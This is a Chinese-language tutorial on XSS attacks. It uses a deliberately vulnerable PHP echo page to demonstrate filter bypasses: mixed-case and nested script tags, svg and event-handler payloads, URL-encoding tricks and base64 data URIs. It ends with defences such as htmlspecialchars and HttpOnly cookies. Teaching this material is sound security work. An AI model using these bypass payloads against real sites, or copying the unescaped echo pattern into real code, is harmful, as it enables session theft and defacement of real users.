介紹
XSS——跨站腳本攻擊。通過這個攻擊手段,攻擊者可以将惡意的 JavaScript 代碼插入存在 XSS 漏洞的 Web 頁面中,當使用者浏覽帶有惡意代碼的頁面時,這些惡意代碼會被觸發,進而達到攻擊的目的。可以說,XSS 是針對使用者層面的攻擊。
XSS的分類
通常,我們把 XSS 分為三個類型,即 存儲型,反射型與DOM型。不同的類型原理各有差異,而且注入的點也不同。
存儲型
存儲型的 XSS,最大的特點是可持久化,因為在過濾條件差的情況下,存儲型的 XSS 的惡意代碼會直接被儲存在伺服器端的資料庫中。而這個惡意代碼被伺服器讀出輸出到使用者端的Web頁面時,惡意代碼會執行,進而達到攻擊的目的。可以說存儲型 XSS 是影響範圍最大的 XSS。通常出現在評論、文章發表等可由使用者輸入,并随着伺服器讀出的地方,容易造成蠕蟲,盜竊cookie等嚴重影響。
攻擊流程大概是這樣的:
攻擊者在正常伺服器中注入XSS代碼,且被伺服器儲存在了資料庫中
使用者在網站登入狀态下,通路了惡意伺服器,且浏覽了存在惡意腳本的頁面
正常伺服器将頁面資訊與XSS腳本一同傳回
用戶端解析了頁面資訊與XSS腳本代碼,這時腳本代碼會被執行,甚至會向攻擊者的惡意伺服器主動發起請求
此時,攻擊者就可以從自己的惡意伺服器中讀取使用者資料
反射型
非持久化,且需要使用釣魚等手段欺騙使用者點選惡意連結才能觸發惡意代碼。一般反射型 XSS 會出現在搜尋頁面,且大多數是用來擷取使用者的 cookie 資訊的。雖然影響範圍最大的是存儲型的 XSS,但是現在針對存儲型 XSS 的防禦非常完備,是以在利用上,反射型的使用率還是比存儲型高些。
攻擊流程大概是這樣的:
攻擊者發送帶有XSS惡意的腳本連結給客戶(該連結是正常伺服器存在注入點的連結,且帶着我們注入的内容)
客戶點選了惡意連結并通路了正常伺服器
伺服器将XSS與頁面資訊傳回用戶端
用戶端解析後請求惡意伺服器
攻擊者讀取使用者資訊
DOM型
DOM 型的 XSS 注入與反射型原理類似,隻不過 DOM 型的 XSS 注入不需要經過後端代碼處理,而是在前端 JavaScript 調用 DOM 元素時可能産生的漏洞,可能觸發 DOM 型 XSS 的 JavaScript 代碼:
document.referer 傳回跳轉或打開到目前頁面的頁面的URI
window.name 可設定或傳回存放視窗的名稱的一個字元串
location 可以設定視窗跳轉或者傳回目前視窗的位址
innerHTML 内嵌HTML代碼
documen.write 頁面内寫入字元
綜上存儲型的 XSS 危害最大。因為他存儲在伺服器端,是以不需要我們和被攻擊者有任何接觸,隻要被攻擊者通路了該頁面就會遭受攻擊。而反射型和 DOM 型的 XSS 則需要我們去誘使使用者點選我們構造的惡意的URL,需要我們和使用者有直接或者間接的接觸,比如利用社會工程學或者利用在其他網頁挂馬的方式。
XSS的危害
XSS的注入
所有能被XSS注入的地方,都有一個共同的特點:存在允許使用者輸入的地方,且未對使用者的輸入進行檢查或者檢查機制不夠完備。這樣就極有可能産生XSS注入。
一般注入手法是先關閉外圍的标簽,再插入我們注入的内容,如
<div>
user input
</div>
可以用
的手法進行注入,此時,代碼就會變成以下這種形式
<div></div>
<script>[XSS]</script>
<div></div>
在頁面加載的時候就會把我們的惡意代碼給加載出來
同理,在注釋标簽以及其他各種HTML的屬性值中也可以進行注入。
XSS的注入與一些繞過
接下來,我們構造一個簡單的 XSS 注入,再看看一些繞過手法。
我們使用 PHPStudy,快速搭建一個Web環境
前端代碼:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>XSS測試</title>
</head>
<body>
<form action="xss.php" method="post">
你試試: <input type="text" name="test" /> <br/>
<input type="submit" value="送出">
</form>
</body>
</html>
後端代碼:
<?php
$text=$_POST["test"];
echo $text;
?>
效果圖:
點選送出後會在頁面上打出輸入的文字
接下來我們嘗試注入,直接輸入
<script>alert('1')</script>
結果如下(在最新版本 chrome 下不成功,估計是直接ban掉了 XSS 的注入,我換到 edge 下成功了)
接下來我們來分析一下防禦與繞過
一般來說,我們可以通過一些函數将 XSS 的某些關鍵字元過濾,如 preg_replace(),來防止注入。但是攻防是不斷發展的,有防禦,自然就有繞過,下面整理一下一些防禦與繞過的姿勢。
過濾引号 ‘’ 或 “”
<?php
$text=$_POST["test"];
if($text!=null){
$text=preg_replace("/'/","",$text); //過濾'
$text=preg_replace("/\"/","",$text); //過濾"
echo $text;
}
?>
當引号被過濾時,我們的字元串就無法被輸出了,這時可以用 “/[string]/”來代替,這樣就可以将字元串内容打出來
比如:
<script>alert(/haha/)</script>
繞過前:我們注入的内容無法被輸出
繞過後:将想要輸出的字元串列印彈框成功
過濾script标簽
<?php
$text=$_POST["test"];
if($text!=null){
$text=preg_replace("/<script>/","",$text); //過濾<script>
$text=preg_replace("/<\/script>/","",$text); //過濾</script>
echo $text;
}
?>
當 script 标簽被過濾時,我們的 JavaScript 代碼就無法被解析,但是這種隻是過濾死了 script 小寫形式,我們還是可以用大小寫混淆的方法進行注入。
比如:
<scripT>alert(/haha/)</scripT>
繞過前:我們的 JavaScript 代碼内容被直接輸出了
繞過後:
過濾script标簽(不區分大小寫)
<?php
$text=$_POST["test"];
if($text!=null){
$text=preg_replace("/<script>/i","",$text); //過濾<script>
$text=preg_replace("/<\/script>/i","",$text); //過濾</script>
echo $text;
}
?>
加上i之後,過濾範圍變成了不區分大小寫,此時,可以使用嵌套的script标簽進行繞過
比如:
<scr<script>ipt>alert(/haha/)</scr</script>ipt>
繞過前:我們的js代碼内容被直接輸出了
繞過後:
過濾script标簽(不區分大小寫,過濾script及其之間的所有内容)
<?php
$text=$_POST["test"];
if($text!=null){
$text=preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $text); //過濾了<script 及其之間的所有内容
echo $text;
}
?>
此處用正則比對的方式過濾了 script 及其之間的所有内容,雖然無法使用 script 标簽注入 XSS 代碼,但是可以通過 img、body 等标簽的事件或者 iframe 等标簽的 src 注入惡意的 JavaScript 代碼。
比如:
<svg onload="alert(1)">
繞過前:
繞過後:
伺服器端代碼存在 url 解碼的情況
<?php
$text=$_POST["test"];
if($text!=null){
$text=preg_replace("/</","<",$text); //将<轉化為html實體
$text=preg_replace("/>/",">",$text); //将>轉化為html實體
$text = urldecode($text);
echo $text;
}
?>
此處将‘<’與‘>’轉化為了html實體,但是由于代碼中存在 url 解碼相關的函數,我們就可以先對’<‘與’>'進行url 編碼,進而繞過實體轉化。
比如:
%3cscript%3ealert(1)%3c/script%3e
繞過前:
繞過後:
其他XSS注入标簽
之前的示範中使用的都是
<script>
标簽,但是能利用 XSS 的惡意腳本中可使用的标簽遠遠不止
<script>
标簽。
下面列舉其中某些常見的 XSS 注入方式
真實場景中遇到的 XSS 注入語句遠不止這麼點,這裡不多贅述
使用某些标簽的
on
方法
<body onload="alert('xss')"></body>
<input onfocus="alert('1')" autofocus/>
使用html實體編碼繞過變形
<input onfocus="alert('1')" autofocus/>
使用 src 的方式在script标簽中使用 Data URI scheme 直接嵌入文本
<script src="data:text/html,alert('1')"></script>
在 iframe 标簽中使用 Data URI scheme 直接嵌入 BASE64 編碼後的文本
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
使用html實體編碼 BASE64 編碼之後的 Data URI scheme
<script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
XSS的防禦
對于 XSS,總體的防禦思路大概是:
對使用者的輸入(和URL參數)進行過濾,對輸出進行html編碼。
也就是對使用者送出的所有内容進行過濾,對 url 中的參數進行過濾,過濾掉會導緻腳本執行的相關内容;然後對動态輸出到頁面的内容進行html編碼,使腳本無法在浏覽器中執行。
對輸入的内容進行過濾,可以分為黑名單過濾和白名單過濾。黑名單過濾雖然可以攔截大部分的 XSS 攻擊,但是還是存在被繞過的風險。白名單過濾雖然可以基本杜絕 XSS 攻擊,但是真實環境中一般是不能進行如此嚴格的白名單過濾的。
對輸出進行html編碼,就是通過函數,将使用者的輸入的資料進行html編碼,使其不能作為腳本運作。
在PHP中通常使用** htmlspecialchars 函數對使用者輸入的name參數進行html編碼**,将其轉換為html實體。這個方法可以直接将‘<’,‘>’等與 XSS 有關的内容進行實體化,可以阻擋絕大多數 XSS 的攻擊。
我們還可以服務端設定會話 Cookie 的 HTTP Only 屬性,這樣,用戶端的 JavaScript 腳本就不能擷取 Cookie 資訊了
總結
以上就是我找到的一些繞過技巧。到這裡我想說兩句,針對不同的情況,繞過的手段是不同的,具體情況還是得具體分析。隻要是人寫出來的代碼,總會有一定的漏洞,繞過與修補就是系統安全性不斷提高的一個過程,隻要不斷學習,總會發現代碼中可以被繞過的地方。